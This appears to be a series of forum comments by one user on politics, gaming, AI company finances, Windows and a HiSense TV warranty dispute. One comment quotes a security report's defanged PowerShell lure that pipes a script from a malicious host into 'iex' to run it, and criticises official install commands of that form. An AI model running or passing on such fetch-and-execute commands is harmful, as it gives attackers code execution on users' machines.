The race is on between the end of Trump’s second term and him beating Nixon’s numbers. Trump is getting awful close to having the bigly-est disapproval numbers in history.

There is a reason I always say, “backslash, the one without the question mark”.

Good for him. We hope he goes far.
The further the better.

It’s good to have this sort of thing, but it’s been long enough since I’ve had a problem that I barely even look at ProtonDB anymore, before buying a game. I recently bought Windrose, fired it up, started playing and then thought, “huh, I should have probably checked it on ProtonDB before I bought it.” One of these days, I might go check it’s status; but, I’d much rather just spend the time playing it. It just worked, after all.

In general, they hold that criminalising loot boxes as a form of gambling “will have an impermissible chilling effect on protected videogame design”, creating a risk of liability for people who stream about lootboxes together with people who sell analogous products, like the aforesaid packets of baseball cards.

I’m failing to see the problem here. Baseball cards, randomized “blind boxes” and packs are all gambling aimed at kids. If we “chill” that sort of speech (and commercial speech has long received less protection) that’s a good thing.

I hate to be defending Russia, but this article is pushing a narrative around a “radioactive” threat which is really bullshit. First off, Depleted Uranium is already in use in Ukraine. We know this because the US shipped those weapons to Ukraine. Also, DU isn’t really a radioactive threat. You can hold a chunk of it with your bare hands and the radiation dose you receive is negligible. It’s more of a danger as a toxic heavy metal, like lead. It can bio-accumulate and cause all the same problems which lead does. This isn’t good for the long term environmental health of Ukraine. But, it’s a common material in tanks and other weapons which are designed to penetrate armor/buildings. So, it’s use by Russia isn’t exactly shocking. This article is just Yellow Journalism.

Yes, the US Military uses DU. Specifically, it’s used in both the armor and ammunition for the M1 Abrams tank. It was used extensively by US forces in the recent series of wars in Iraq and Afghanistan. And there was enough of an issue around veterans exposure that the VA setup a program to track known cases of soldiers exposed to it. There is also a “helpful” FAQ page from the US Military’s health system downplaying the effects of DU exposure.

I’m curious to see the fallout of Anthorpic’s books becoming public.

Anthropic projects reaching positive cash flow by 2028, according to TechCrunch, a year later than originally planned.

• source

This IPO sounds like they are running out of people to give them money to set on fire and/or the current investors have realized the whole thing is a ponzi scheme and they are hoping to unload on public investors before the AI bubble pops.

Jumping over to the original report:

While the canonical command is “irm https[:]//claude[.]ai/install.ps1 | iex”, the lure replaced the destination host with “irm events[.]msft23[.]com | iex”.

Whatever artificially intelligent person at Anthopic decided that the official install method for Claude Code should be an irm piped to an iex in PowerShelll should be dragged out behind the same woodshed as Old Yeller. That is basically screaming “malicious code” at security tools. And it’s training developers that blindly running code from the internet is a-ok. It’s no wonder I’ve already seen exactly this sort of thing (with a different URL) happen in my environment. It’s like the AI companies are trying to make security worse.

GM is also required to:

• Stop selling driving data to consumer reporting agencies and brokers for five years.

Stop doing that until everyone forgets about it and we can go back to turning a blind eye.

I was at a showing of Monty Python and the Holy Grail in a theater over the weekend. I was originally worried we’d have trouble getting tickets. Turns out there were only 10 people in the theater and half of those were in my group. What sad times we live in when there aren’t enough people saying, “Ni” in a theater.

“I think we need an exit strategy,” [Republican Sen. Josh Hawley of Missouri] said on April 15.

A strategy at all would have been nice. But, Trump is just going to ignore the deadline, maybe even throw up a bullshit smokescreen of legal arguments which make as much sense as pissing up a rope and keep doing exactly what he wants to do. Congressional Republicans will wring their hands and claim there is nothing to be done, Democrats will keep sponsoring resolutions to “force Republicans to vote on the issue” but which ultimately do nothing (in fairness, as the party out of power, they can’t do much more). And maybe we’ll get a court challenge of some sort. Though, I expect the pack of monkeys in black robes will opt out of ruling by claiming that Congress has the power to reign in the President, and it’s therefore a political question. Which is probably technically right, but leaves us with greatly expanded Presidential powers, as a not-hostile Congress now means that the President can run wars with no meaningful checks on that power.

Dealing with any of Trump’s bullshit should have a three drink minimum. Good on these ladies for ensuring they were able to do so.

Please be advised that the initial setup for this first iteration of the feature is more technical than most other games and requires a computer running Microsoft Windows Pro with Hyper-V in order to run the servers in a Linux Virtual Machine (VM).

Kinda wonder if they are just distributing a Hyper-V machine image; or, if the actual requirement is that it runs on Linux and they assumed their entire userbase is Windows only and won’t be able to spin up a Linux VM on their own?

Also, what idiot decided that only one settings window is allowed open at one time?

Microsoft engineers were worried that people missed the joys of MS-DOS and having only one application running at once. Next up, will be the return of base memory versus expanded memory versus extended memory. This ends when they devolve Windows to prove Bill Gates right that 640kB should be enough memory for anyone.

Simple, NoPilot can just erase all your files. Binaries can’t take up memory of they can’t be loaded.

A joke is a lot like a frog, it can be informative to dissect it, but the patient usually dies in the process.

IT is what you do when you are good with computers and not so much with people. You get really good at making the magic number boxes work for the MBAs and start explaining RFCs or networking protocols so that they fuck back off upstairs so you can go back to digging through log files and pcaps. It’s all just puzzle solving, reading and a crippling fear of social interactions.

I remember this being quoted when Bush II dragged us into Iraq. And here we are again:

Why, of course, the people don’t want war. Why would some poor slob on a farm want to risk his life in a war when the best that he can get out of it is to come back to his farm in one piece? Naturally, the common people don’t want war; neither in Russia nor in England nor in America, nor for that matter in Germany. That is understood. But, after all, it is the leaders of the country who determine the policy and it is always a simple matter to drag the people along, whether it is a democracy or a fascist dictatorship or a Parliament or a Communist dictatorship.
Foice or no voice, the people can always be brought to the bidding of the leaders. That is easy. All you have to do is tell them they are being attacked and denounce the pacifists for lack of patriotism and exposing the country to danger. It works the same way in any country.
– Hermann Göring

I must have gotten one after the enshitification. I bought a HiSense TV during the pandemic and the unit I got was trouble from nearly day 1. A line of pixels went dead all the way across the screen. I tried to work with their warranty department and they asked for a picture of the problem.

Ok, easy enough. Take the picture and send. They reply, “can you take a picture with better lighting of the bezel?” Ok, no problem. Gerry better lighting, snap picture, send off. They reply, “can you get better lighting on the bezel?” Seriously? Fine, get the TV under really good lighting, take picture, send. “Can you get better lighting on the bezel?” WTF? Ok, I’ll admit I don’t have 50,000 candle power spot lights on it, but this is just obvious stalling. Each round of pictures and request for more is taking weeks.

During this time, the TV OS sees several updates and the underpowered nature of the system is starting to slow. The menus aren’t just sluggish, they are downright unusable. The home screen is now half ads. I finally decided, “fuck it” took the TV to the dump and bought something else.

Thankfully, the TV was only around $500. Not cheap, but the cost of the education in not buying crap didn’t hurt too much.

tl;dr: Fuck HiSense